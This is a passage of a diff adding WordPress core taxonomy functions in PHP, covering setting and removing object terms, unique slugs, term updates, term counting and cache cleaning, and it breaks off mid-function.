+ * Relates an object (post, link etc) to a term and taxonomy type. Creates the
+ * term and taxonomy relationship if it doesn't already exist. Creates a term if
+ * it doesn't exist (using the slug).
+ *
+ * A relationship means that the term is grouped in or belongs to the taxonomy.
+ * A term has no meaning until it is given context by defining which taxonomy it
+ * exists under.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb The WordPress database abstraction object.
+ *
+ * @param int              $object_id The object to relate to.
+ * @param string|int|array $terms     A single term slug, single term id, or array of either term slugs or ids.
+ *                                    Will replace all existing related terms in this taxonomy. Passing an
+ *                                    empty value will remove all related terms.
+ * @param string           $taxonomy  The context in which to relate the term to the object.
+ * @param bool             $append    Optional. If false will delete difference of terms. Default false.
+ * @return array|WP_Error Term taxonomy IDs of the affected terms.
+ */
+function wp_set_object_terms( $object_id, $terms, $taxonomy, $append = false ) {
+	global $wpdb;
+
+	$object_id = (int) $object_id;
+
+	if ( ! taxonomy_exists( $taxonomy ) ) {
+		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+	}
+
+	if ( !is_array($terms) )
+		$terms = array($terms);
+
+	if ( ! $append )
+		$old_tt_ids =  wp_get_object_terms($object_id, $taxonomy, array('fields' => 'tt_ids', 'orderby' => 'none'));
+	else
+		$old_tt_ids = array();
+
+	$tt_ids = array();
+	$term_ids = array();
+	$new_tt_ids = array();
+
+	foreach ( (array) $terms as $term) {
+		if ( !strlen(trim($term)) )
+			continue;
+
+		if ( !$term_info = term_exists($term, $taxonomy) ) {
+			// Skip if a non-existent term ID is passed.
+			if ( is_int($term) )
+				continue;
+			$term_info = wp_insert_term($term, $taxonomy);
+		}
+		if ( is_wp_error($term_info) )
+			return $term_info;
+		$term_ids[] = $term_info['term_id'];
+		$tt_id = $term_info['term_taxonomy_id'];
+		$tt_ids[] = $tt_id;
+
+		if ( $wpdb->get_var( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id = %d", $object_id, $tt_id ) ) )
+			continue;
+
+		/**
+		 * Fires immediately before an object-term relationship is added.
+		 *
+		 * @since 2.9.0
+		 * @since 4.7.0 Added the `$taxonomy` parameter.
+		 *
+		 * @param int    $object_id Object ID.
+		 * @param int    $tt_id     Term taxonomy ID.
+		 * @param string $taxonomy  Taxonomy slug.
+		 */
+		do_action( 'add_term_relationship', $object_id, $tt_id, $taxonomy );
+		$wpdb->insert( $wpdb->term_relationships, array( 'object_id' => $object_id, 'term_taxonomy_id' => $tt_id ) );
+
+		/**
+		 * Fires immediately after an object-term relationship is added.
+		 *
+		 * @since 2.9.0
+		 * @since 4.7.0 Added the `$taxonomy` parameter.
+		 *
+		 * @param int    $object_id Object ID.
+		 * @param int    $tt_id     Term taxonomy ID.
+		 * @param string $taxonomy  Taxonomy slug.
+		 */
+		do_action( 'added_term_relationship', $object_id, $tt_id, $taxonomy );
+		$new_tt_ids[] = $tt_id;
+	}
+
+	if ( $new_tt_ids )
+		wp_update_term_count( $new_tt_ids, $taxonomy );
+
+	if ( ! $append ) {
+		$delete_tt_ids = array_diff( $old_tt_ids, $tt_ids );
+
+		if ( $delete_tt_ids ) {
+			$in_delete_tt_ids = "'" . implode( "', '", $delete_tt_ids ) . "'";
+			$delete_term_ids = $wpdb->get_col( $wpdb->prepare( "SELECT tt.term_id FROM $wpdb->term_taxonomy AS tt WHERE tt.taxonomy = %s AND tt.term_taxonomy_id IN ($in_delete_tt_ids)", $taxonomy ) );
+			$delete_term_ids = array_map( 'intval', $delete_term_ids );
+
+			$remove = wp_remove_object_terms( $object_id, $delete_term_ids, $taxonomy );
+			if ( is_wp_error( $remove ) ) {
+				return $remove;
+			}
+		}
+	}
+
+	$t = get_taxonomy($taxonomy);
+	if ( ! $append && isset($t->sort) && $t->sort ) {
+		$values = array();
+		$term_order = 0;
+		$final_tt_ids = wp_get_object_terms($object_id, $taxonomy, array('fields' => 'tt_ids'));
+		foreach ( $tt_ids as $tt_id )
+			if ( in_array($tt_id, $final_tt_ids) )
+				$values[] = $wpdb->prepare( "(%d, %d, %d)", $object_id, $tt_id, ++$term_order);
+		if ( $values )
+			if ( false === $wpdb->query( "INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join( ',', $values ) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)" ) )
+				return new WP_Error( 'db_insert_error', __( 'Could not insert term relationship into the database.' ), $wpdb->last_error );
+	}
+
+	wp_cache_delete( $object_id, $taxonomy . '_relationships' );
+	wp_cache_delete( 'last_changed', 'terms' );
+
+	/**
+	 * Fires after an object's terms have been set.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int    $object_id  Object ID.
+	 * @param array  $terms      An array of object terms.
+	 * @param array  $tt_ids     An array of term taxonomy IDs.
+	 * @param string $taxonomy   Taxonomy slug.
+	 * @param bool   $append     Whether to append new terms to the old terms.
+	 * @param array  $old_tt_ids Old array of term taxonomy IDs.
+	 */
+	do_action( 'set_object_terms', $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids );
+	return $tt_ids;
+}
+
+/**
+ * Add term(s) associated with a given object.
+ *
+ * @since 3.6.0
+ *
+ * @param int              $object_id The ID of the object to which the terms will be added.
+ * @param string|int|array $terms     The slug(s) or ID(s) of the term(s) to add.
+ * @param array|string     $taxonomy  Taxonomy name.
+ * @return array|WP_Error Term taxonomy IDs of the affected terms.
+ */
+function wp_add_object_terms( $object_id, $terms, $taxonomy ) {
+	return wp_set_object_terms( $object_id, $terms, $taxonomy, true );
+}
+
+/**
+ * Remove term(s) associated with a given object.
+ *
+ * @since 3.6.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int              $object_id The ID of the object from which the terms will be removed.
+ * @param string|int|array $terms     The slug(s) or ID(s) of the term(s) to remove.
+ * @param array|string     $taxonomy  Taxonomy name.
+ * @return bool|WP_Error True on success, false or WP_Error on failure.
+ */
+function wp_remove_object_terms( $object_id, $terms, $taxonomy ) {
+	global $wpdb;
+
+	$object_id = (int) $object_id;
+
+	if ( ! taxonomy_exists( $taxonomy ) ) {
+		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+	}
+
+	if ( ! is_array( $terms ) ) {
+		$terms = array( $terms );
+	}
+
+	$tt_ids = array();
+
+	foreach ( (array) $terms as $term ) {
+		if ( ! strlen( trim( $term ) ) ) {
+			continue;
+		}
+
+		if ( ! $term_info = term_exists( $term, $taxonomy ) ) {
+			// Skip if a non-existent term ID is passed.
+			if ( is_int( $term ) ) {
+				continue;
+			}
+		}
+
+		if ( is_wp_error( $term_info ) ) {
+			return $term_info;
+		}
+
+		$tt_ids[] = $term_info['term_taxonomy_id'];
+	}
+
+	if ( $tt_ids ) {
+		$in_tt_ids = "'" . implode( "', '", $tt_ids ) . "'";
+
+		/**
+		 * Fires immediately before an object-term relationship is deleted.
+		 *
+		 * @since 2.9.0
+		 * @since 4.7.0 Added the `$taxonomy` parameter.
+		 *
+		 * @param int   $object_id Object ID.
+		 * @param array $tt_ids    An array of term taxonomy IDs.
+		 * @param string $taxonomy  Taxonomy slug.
+		 */
+		do_action( 'delete_term_relationships', $object_id, $tt_ids, $taxonomy );
+		$deleted = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id IN ($in_tt_ids)", $object_id ) );
+
+		wp_cache_delete( $object_id, $taxonomy . '_relationships' );
+		wp_cache_delete( 'last_changed', 'terms' );
+
+		/**
+		 * Fires immediately after an object-term relationship is deleted.
+		 *
+		 * @since 2.9.0
+		 * @since 4.7.0 Added the `$taxonomy` parameter.
+		 *
+		 * @param int    $object_id Object ID.
+		 * @param array  $tt_ids    An array of term taxonomy IDs.
+		 * @param string $taxonomy  Taxonomy slug.
+		 */
+		do_action( 'deleted_term_relationships', $object_id, $tt_ids, $taxonomy );
+
+		wp_update_term_count( $tt_ids, $taxonomy );
+
+		return (bool) $deleted;
+	}
+
+	return false;
+}
+
+/**
+ * Will make slug unique, if it isn't already.
+ *
+ * The `$slug` has to be unique global to every taxonomy, meaning that one
+ * taxonomy term can't have a matching slug with another taxonomy term. Each
+ * slug has to be globally unique for every taxonomy.
+ *
+ * The way this works is that if the taxonomy that the term belongs to is
+ * hierarchical and has a parent, it will append that parent to the $slug.
+ *
+ * If that still doesn't return an unique slug, then it try to append a number
+ * until it finds a number that is truly unique.
+ *
+ * The only purpose for `$term` is for appending a parent, if one exists.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $slug The string that will be tried for a unique slug.
+ * @param object $term The term object that the `$slug` will belong to.
+ * @return string Will return a true unique slug.
+ */
+function wp_unique_term_slug( $slug, $term ) {
+	global $wpdb;
+
+	$needs_suffix = true;
+	$original_slug = $slug;
+
+	// As of 4.1, duplicate slugs are allowed as long as they're in different taxonomies.
+	if ( ! term_exists( $slug ) || get_option( 'db_version' ) >= 30133 && ! get_term_by( 'slug', $slug, $term->taxonomy ) ) {
+		$needs_suffix = false;
+	}
+
+	/*
+	 * If the taxonomy supports hierarchy and the term has a parent, make the slug unique
+	 * by incorporating parent slugs.
+	 */
+	$parent_suffix = '';
+	if ( $needs_suffix && is_taxonomy_hierarchical( $term->taxonomy ) && ! empty( $term->parent ) ) {
+		$the_parent = $term->parent;
+		while ( ! empty($the_parent) ) {
+			$parent_term = get_term($the_parent, $term->taxonomy);
+			if ( is_wp_error($parent_term) || empty($parent_term) )
+				break;
+			$parent_suffix .= '-' . $parent_term->slug;
+			if ( ! term_exists( $slug . $parent_suffix ) ) {
+				break;
+			}
+
+			if ( empty($parent_term->parent) )
+				break;
+			$the_parent = $parent_term->parent;
+		}
+	}
+
+	// If we didn't get a unique slug, try appending a number to make it unique.
+
+	/**
+	 * Filters whether the proposed unique term slug is bad.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param bool   $needs_suffix Whether the slug needs to be made unique with a suffix.
+	 * @param string $slug         The slug.
+	 * @param object $term         Term object.
+	 */
+	if ( apply_filters( 'wp_unique_term_slug_is_bad_slug', $needs_suffix, $slug, $term ) ) {
+		if ( $parent_suffix ) {
+			$slug .= $parent_suffix;
+		} else {
+			if ( ! empty( $term->term_id ) )
+				$query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s AND term_id != %d", $slug, $term->term_id );
+			else
+				$query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $slug );
+
+			if ( $wpdb->get_var( $query ) ) {
+				$num = 2;
+				do {
+					$alt_slug = $slug . "-$num";
+					$num++;
+					$slug_check = $wpdb->get_var( $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug ) );
+				} while ( $slug_check );
+				$slug = $alt_slug;
+			}
+		}
+	}
+
+	/**
+	 * Filters the unique term slug.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param string $slug          Unique term slug.
+	 * @param object $term          Term object.
+	 * @param string $original_slug Slug originally passed to the function for testing.
+	 */
+	return apply_filters( 'wp_unique_term_slug', $slug, $term, $original_slug );
+}
+
+/**
+ * Update term based on arguments provided.
+ *
+ * The $args will indiscriminately override all values with the same field name.
+ * Care must be taken to not override important information need to update or
+ * update will fail (or perhaps create a new term, neither would be acceptable).
+ *
+ * Defaults will set 'alias_of', 'description', 'parent', and 'slug' if not
+ * defined in $args already.
+ *
+ * 'alias_of' will create a term group, if it doesn't already exist, and update
+ * it for the $term.
+ *
+ * If the 'slug' argument in $args is missing, then the 'name' in $args will be
+ * used. It should also be noted that if you set 'slug' and it isn't unique then
+ * a WP_Error will be passed back. If you don't pass any slug, then a unique one
+ * will be created for you.
+ *
+ * For what can be overrode in `$args`, check the term scheme can contain and stay
+ * away from the term keys.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int          $term_id  The ID of the term
+ * @param string       $taxonomy The context in which to relate the term to the object.
+ * @param array|string $args     Optional. Array of get_terms() arguments. Default empty array.
+ * @return array|WP_Error Returns Term ID and Taxonomy Term ID
+ */
+function wp_update_term( $term_id, $taxonomy, $args = array() ) {
+	global $wpdb;
+
+	if ( ! taxonomy_exists( $taxonomy ) ) {
+		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+	}
+
+	$term_id = (int) $term_id;
+
+	// First, get all of the original args
+	$term = get_term( $term_id, $taxonomy );
+
+	if ( is_wp_error( $term ) ) {
+		return $term;
+	}
+
+	if ( ! $term ) {
+		return new WP_Error( 'invalid_term', __( 'Empty Term.' ) );
+	}
+
+	$term = (array) $term->data;
+
+	// Escape data pulled from DB.
+	$term = wp_slash( $term );
+
+	// Merge old and new args with new args overwriting old ones.
+	$args = array_merge($term, $args);
+
+	$defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => '');
+	$args = wp_parse_args($args, $defaults);
+	$args = sanitize_term($args, $taxonomy, 'db');
+	$parsed_args = $args;
+
+	// expected_slashed ($name)
+	$name = wp_unslash( $args['name'] );
+	$description = wp_unslash( $args['description'] );
+
+	$parsed_args['name'] = $name;
+	$parsed_args['description'] = $description;
+
+	if ( '' == trim( $name ) ) {
+		return new WP_Error( 'empty_term_name', __( 'A name is required for this term.' ) );
+	}
+
+	if ( $parsed_args['parent'] > 0 && ! term_exists( (int) $parsed_args['parent'] ) ) {
+		return new WP_Error( 'missing_parent', __( 'Parent term does not exist.' ) );
+	}
+
+	$empty_slug = false;
+	if ( empty( $args['slug'] ) ) {
+		$empty_slug = true;
+		$slug = sanitize_title($name);
+	} else {
+		$slug = $args['slug'];
+	}
+
+	$parsed_args['slug'] = $slug;
+
+	$term_group = isset( $parsed_args['term_group'] ) ? $parsed_args['term_group'] : 0;
+	if ( $args['alias_of'] ) {
+		$alias = get_term_by( 'slug', $args['alias_of'], $taxonomy );
+		if ( ! empty( $alias->term_group ) ) {
+			// The alias we want is already in a group, so let's use that one.
+			$term_group = $alias->term_group;
+		} elseif ( ! empty( $alias->term_id ) ) {
+			/*
+			 * The alias is not in a group, so we create a new one
+			 * and add the alias to it.
+			 */
+			$term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms") + 1;
+
+			wp_update_term( $alias->term_id, $taxonomy, array(
+				'term_group' => $term_group,
+			) );
+		}
+
+		$parsed_args['term_group'] = $term_group;
+	}
+
+	/**
+	 * Filters the term parent.
+	 *
+	 * Hook to this filter to see if it will cause a hierarchy loop.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param int    $parent      ID of the parent term.
+	 * @param int    $term_id     Term ID.
+	 * @param string $taxonomy    Taxonomy slug.
+	 * @param array  $parsed_args An array of potentially altered update arguments for the given term.
+	 * @param array  $args        An array of update arguments for the given term.
+	 */
+	$parent = apply_filters( 'wp_update_term_parent', $args['parent'], $term_id, $taxonomy, $parsed_args, $args );
+
+	// Check for duplicate slug
+	$duplicate = get_term_by( 'slug', $slug, $taxonomy );
+	if ( $duplicate && $duplicate->term_id != $term_id ) {
+		// If an empty slug was passed or the parent changed, reset the slug to something unique.
+		// Otherwise, bail.
+		if ( $empty_slug || ( $parent != $term['parent']) ) {
+			$slug = wp_unique_term_slug($slug, (object) $args);
+		} else {
+			/* translators: 1: Taxonomy term slug */
+			return new WP_Error( 'duplicate_term_slug', sprintf( __( 'The slug &#8220;%s&#8221; is already in use by another term.' ), $slug ) );
+		}
+	}
+
+	$tt_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id) );
+
+	// Check whether this is a shared term that needs splitting.
+	$_term_id = _split_shared_term( $term_id, $tt_id );
+	if ( ! is_wp_error( $_term_id ) ) {
+		$term_id = $_term_id;
+	}
+
+	/**
+	 * Fires immediately before the given terms are edited.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int    $term_id  Term ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( 'edit_terms', $term_id, $taxonomy );
+
+	$data = compact( 'name', 'slug', 'term_group' );
+
+	/**
+	 * Filters term data before it is updated in the database.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array  $data     Term data to be updated.
+	 * @param int    $term_id  Term ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 * @param array  $args     Arguments passed to wp_update_term().
+	 */
+	$data = apply_filters( 'wp_update_term_data', $data, $term_id, $taxonomy, $args );
+
+	$wpdb->update( $wpdb->terms, $data, compact( 'term_id' ) );
+	if ( empty($slug) ) {
+		$slug = sanitize_title($name, $term_id);
+		$wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) );
+	}
+
+	/**
+	 * Fires immediately after the given terms are edited.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int    $term_id  Term ID
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( 'edited_terms', $term_id, $taxonomy );
+
+	/**
+	 * Fires immediate before a term-taxonomy relationship is updated.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int    $tt_id    Term taxonomy ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( 'edit_term_taxonomy', $tt_id, $taxonomy );
+
+	$wpdb->update( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent' ), array( 'term_taxonomy_id' => $tt_id ) );
+
+	/**
+	 * Fires immediately after a term-taxonomy relationship is updated.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int    $tt_id    Term taxonomy ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( 'edited_term_taxonomy', $tt_id, $taxonomy );
+
+	/**
+	 * Fires after a term has been updated, but before the term cache has been cleaned.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int    $term_id  Term ID.
+	 * @param int    $tt_id    Term taxonomy ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( "edit_term", $term_id, $tt_id, $taxonomy );
+
+	/**
+	 * Fires after a term in a specific taxonomy has been updated, but before the term
+	 * cache has been cleaned.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @param int $tt_id   Term taxonomy ID.
+	 */
+	do_action( "edit_{$taxonomy}", $term_id, $tt_id );
+
+	/** This filter is documented in wp-includes/taxonomy.php */
+	$term_id = apply_filters( 'term_id_filter', $term_id, $tt_id );
+
+	clean_term_cache($term_id, $taxonomy);
+
+	/**
+	 * Fires after a term has been updated, and the term cache has been cleaned.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int    $term_id  Term ID.
+	 * @param int    $tt_id    Term taxonomy ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( "edited_term", $term_id, $tt_id, $taxonomy );
+
+	/**
+	 * Fires after a term for a specific taxonomy has been updated, and the term
+	 * cache has been cleaned.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @param int $tt_id   Term taxonomy ID.
+	 */
+	do_action( "edited_{$taxonomy}", $term_id, $tt_id );
+
+	return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id);
+}
+
+/**
+ * Enable or disable term counting.
+ *
+ * @since 2.5.0
+ *
+ * @staticvar bool $_defer
+ *
+ * @param bool $defer Optional. Enable if true, disable if false.
+ * @return bool Whether term counting is enabled or disabled.
+ */
+function wp_defer_term_counting($defer=null) {
+	static $_defer = false;
+
+	if ( is_bool($defer) ) {
+		$_defer = $defer;
+		// flush any deferred counts
+		if ( !$defer )
+			wp_update_term_count( null, null, true );
+	}
+
+	return $_defer;
+}
+
+/**
+ * Updates the amount of terms in taxonomy.
+ *
+ * If there is a taxonomy callback applied, then it will be called for updating
+ * the count.
+ *
+ * The default action is to count what the amount of terms have the relationship
+ * of term ID. Once that is done, then update the database.
+ *
+ * @since 2.3.0
+ *
+ * @staticvar array $_deferred
+ *
+ * @param int|array $terms       The term_taxonomy_id of the terms.
+ * @param string    $taxonomy    The context of the term.
+ * @param bool      $do_deferred Whether to flush the deferred term counts too. Default false.
+ * @return bool If no terms will return false, and if successful will return true.
+ */
+function wp_update_term_count( $terms, $taxonomy, $do_deferred = false ) {
+	static $_deferred = array();
+
+	if ( $do_deferred ) {
+		foreach ( (array) array_keys($_deferred) as $tax ) {
+			wp_update_term_count_now( $_deferred[$tax], $tax );
+			unset( $_deferred[$tax] );
+		}
+	}
+
+	if ( empty($terms) )
+		return false;
+
+	if ( !is_array($terms) )
+		$terms = array($terms);
+
+	if ( wp_defer_term_counting() ) {
+		if ( !isset($_deferred[$taxonomy]) )
+			$_deferred[$taxonomy] = array();
+		$_deferred[$taxonomy] = array_unique( array_merge($_deferred[$taxonomy], $terms) );
+		return true;
+	}
+
+	return wp_update_term_count_now( $terms, $taxonomy );
+}
+
+/**
+ * Perform term count update immediately.
+ *
+ * @since 2.5.0
+ *
+ * @param array  $terms    The term_taxonomy_id of terms to update.
+ * @param string $taxonomy The context of the term.
+ * @return true Always true when complete.
+ */
+function wp_update_term_count_now( $terms, $taxonomy ) {
+	$terms = array_map('intval', $terms);
+
+	$taxonomy = get_taxonomy($taxonomy);
+	if ( !empty($taxonomy->update_count_callback) ) {
+		call_user_func($taxonomy->update_count_callback, $terms, $taxonomy);
+	} else {
+		$object_types = (array) $taxonomy->object_type;
+		foreach ( $object_types as &$object_type ) {
+			if ( 0 === strpos( $object_type, 'attachment:' ) )
+				list( $object_type ) = explode( ':', $object_type );
+		}
+
+		if ( $object_types == array_filter( $object_types, 'post_type_exists' ) ) {
+			// Only post types are attached to this taxonomy
+			_update_post_term_count( $terms, $taxonomy );
+		} else {
+			// Default count updater
+			_update_generic_term_count( $terms, $taxonomy );
+		}
+	}
+
+	clean_term_cache($terms, '', false);
+
+	return true;
+}
+
+//
+// Cache
+//
+
+/**
+ * Removes the taxonomy relationship to terms from the cache.
+ *
+ * Will remove the entire taxonomy relationship containing term `$object_id`. The
+ * term IDs have to exist within the taxonomy `$object_type` for the deletion to
+ * take place.
+ *
+ * @since 2.3.0
+ *
+ * @global bool $_wp_suspend_cache_invalidation
+ *
+ * @see get_object_taxonomies() for more on $object_type.
+ *
+ * @param int|array    $object_ids  Single or list of term object ID(s).
+ * @param array|string $object_type The taxonomy object type.
+ */
+function clean_object_term_cache($object_ids, $object_type) {
+	global $_wp_suspend_cache_invalidation;
+
+	if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
+		return;
+	}
+
+	if ( !is_array($object_ids) )
+		$object_ids = array($object_ids);
+
+	$taxonomies = get_object_taxonomies( $object_type );
+
+	foreach ( $object_ids as $id ) {
+		foreach ( $taxonomies as $taxonomy ) {
+			wp_cache_delete($id, "{$taxonomy}_relationships");
+		}
+	}
+
+	/**
+	 * Fires after the object term cache has been cleaned.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array  $object_ids An array of object IDs.
+	 * @param string $object_type Object type.
+	 */
+	do_action( 'clean_object_term_cache', $object_ids, $object_type );
+}
+
+/**
+ * Will remove all of the term ids from the cache.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @global bool $_wp_suspend_cache_invalidation
+ *
+ * @param int|array $ids            Single or list of Term IDs.
+ * @param string    $taxonomy       Optional. Can be empty and will assume `tt_ids`, else will use for context.
+ *                                  Default empty.
+ * @param bool      $clean_taxonomy Optional. Whether to clean taxonomy wide caches (true), or just individual
+ *                                  term object caches (false). Default true.
+ */
+function clean_term_cache($ids, $taxonomy = '', $clean_taxonomy = true) {
+	global $wpdb, $_wp_suspend_cache_invalidation;
+
+	if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
+		return;
+	}
+
+	if ( !is_array($ids) )
+		$ids = array($ids);
+
+	$taxonomies = array();
+	// If no taxonomy, assume tt_ids.
+	if ( empty($taxonomy) ) {
+		$tt_ids = array_map('intval', $ids);
+		$tt_ids = implode(', ', $tt_ids);
+		$terms = $wpdb->get_results("SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id IN ($tt_ids)");
+		$ids = array();
+		foreach ( (array) $terms as $term ) {
+			$taxonomies[] = $term->taxonomy;
+			$ids[] = $term->term_id;
+			wp_cache_delete( $term->term_id, 'terms' );
+		}
+		$taxonomies = array_unique($taxonomies);
+	} else {
+		$taxonomies = array($taxonomy);
+		foreach ( $taxonomies as $taxonomy ) {
+			foreach ( $ids as $id ) {
+				wp_cache_delete( $id, 'terms' );
+			}
+		}
+	}
+
+	foreach ( $taxonomies as $taxonomy ) {
+		if ( $clean_taxonomy ) {
+			clean_taxonomy_cache( $taxonomy );
+		}
+
+		/**
+		 * Fires once after each taxonomy's term cache has been cleaned.
+		 *
+		 * @since 2.5.0
+		 * @since 4.5.0 Added the `$clean_taxonomy` parameter.
+		 *
+		 * @param array  $ids            An array of term IDs.
+		 * @param string $taxonomy       Taxonomy slug.
+		 * @param bool   $clean_taxonomy Whether or not to clean taxonomy-wide caches
+		 */
+		do_action( 'clean_term_cache', $ids, $taxonomy, $clean_taxonomy );
+	}
+
+	wp_cache_set( 'last_changed', microtime(), 'terms' );
+}
+
+/**
+ * Clean the caches for a taxonomy.
+ *
+ * @since 4.9.0
+ *
+ * @param string $taxonomy Taxonomy slug.
+ */
+function clean_taxonomy_cache( $taxonomy ) {
+	wp_cache_delete( 'all_ids', $taxonomy );
+	wp_cache_delete( 'get', $taxonomy );
+
+	// Regenerate cached hierarchy.
+	delete_option( "{$taxonomy}_children" );
+	_get_term_hierarchy( $taxonomy );
+
+	/**
+	 * Fires after a taxonomy's caches have been cleaned.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( 'clean_taxonomy_cache', $taxonomy );
+}
+
+/**
+ * Retrieves the taxonomy relationship to the term object id.
+ *
+ * Upstream functions (like get_the_terms() and is_object_in_term()) are
+ * responsible for populating the object-term relationship cache. The current
+ * function only fetches relationship data that is already in the cache.
+ *
+ * @since 2.3.0
+ * @since 4.7.0 Returns a WP_Error object if get_term() returns an error for
+ *              any of the matched terms.
+ *
+ * @param int    $id       Term object ID.
+ * @param string $taxonomy Taxonomy name.
+ * @return bool|array|WP_Error Array of `WP_Term` objects, if cached.
+ *                             False if cache is empty for `$taxonomy` and `$id`.
+ *                             WP_Error if get_term() returns an error object for any term.
+ */
+function get_object_term_cache( $id, $taxonomy ) {
+	$_term_ids = wp_cache_get( $id, "{$taxonomy}_relationships" );
+
+	// We leave the priming of relationship caches to upstream functions.
+	if ( false === $_term_ids ) {
+		return false;
+	}
+
+	// Backward compatibility for if a plugin is putting objects into the cache, rather than IDs.
+	$term_ids = array();
+	foreach ( $_term_ids as $term_id ) {
+		if ( is_numeric( $term_id ) ) {
+			$term_ids[] = intval( $term_id );
+		} elseif ( isset( $term_id->term_id ) ) {
+			$term_ids[] = intval( $term_id->term_id );
+		}
+	}
+
+	// Fill the term objects.
+	_prime_term_caches( $term_ids );
+
+	$terms = array();
+	foreach ( $term_ids as $term_id ) {
+		$term = get_term( $term_id, $taxonomy );
+		if ( is_wp_error( $term ) ) {
+			return $term;
+		}
+
+		$terms[] = $term;
+	}
+
+	return $terms;
+}
+
+/**
+ * Updates the cache for the given term object ID(s).
+ *
+ * Note: Due to performance concerns, great care should be taken to only update
+ * term caches when necessary. Processing time can increase exponentially depending
+ * on both the number of passed term IDs and the number of taxonomies those terms
+ * belong to.
+ *
+ * Caches will only be updated for terms not already cached.
+ *
+ * @since 2.3.0
+ *
+ * @param string|array $object_ids  Comma-separated list or array of term object IDs.
+ * @param array|string $object_type The taxonomy object type.
+ * @return void|false False if all of the terms in `$object_ids` are already cached.
+ */
+function update_object_term_cache($object_ids, $object_type) {
+	if ( empty($object_ids) )
+		return;
+
+	if ( !is_array($object_ids) )
+		$object_ids = explode(',', $object_ids);
+
+	$object_ids = array_map('intval', $object_ids);
+
+	$taxonomies = get_object_taxonomies($object_type);
+
+	$ids = array();
+	foreach ( (array) $object_ids as $id ) {
+		foreach ( $taxonomies as $taxonomy ) {
+			if ( false === wp_cache_get($id, "{$taxonomy}_relationships") ) {
+				$ids[] = $id;
+				break;
+			}
+		}
+	}
+
+	if ( empty( $ids ) )
+		return false;
+
+	$terms = wp_get_object_terms( $ids, $taxonomies, array(
+		'fields' => 'all_with_object_id',
+		'orderby' => 'name',
+		'update_term_meta_cache' => false,
+	) );
+
+	$object_terms = array();
+	foreach ( (array) $terms as $term ) {
+		$object_terms[ $term->object_id ][ $term->taxonomy ][] = $term->term_id;
+	}
+
+	foreach ( $ids as $id ) {
+		foreach ( $taxonomies as $taxonomy ) {
+			if ( ! isset($object_terms[$id][$taxonomy]) ) {
+				if ( !isset($object_terms[$id]) )
+					$object_terms[$id] = array();
+				$object_terms[$id][$taxonomy] = array();
+			}
+		}
+	}
+
+	foreach ( $object_terms as $id => $value ) {
+		foreach ( $value as $taxonomy => $terms ) {
+			wp_cache_add( $id, $terms, "{$taxonomy}_relationships" );
+		}
+	}
+}
+
+/**
+ * Updates Terms to Taxonomy in cache.
+ *
+ * @since 2.3.0
+ *
+ * @param array  $terms    List of term objects to change.
+ * @param string $taxonomy Optional. Update Term to this taxonomy in cache. Default empty.
+ */
+function update_term_cache( $terms, $taxonomy = '' ) {
+	foreach ( (array) $terms as $term ) {
+		// Create a copy in case the array was passed by reference.
+		$_term = clone $term;
+
+		// Object ID should not be cached.
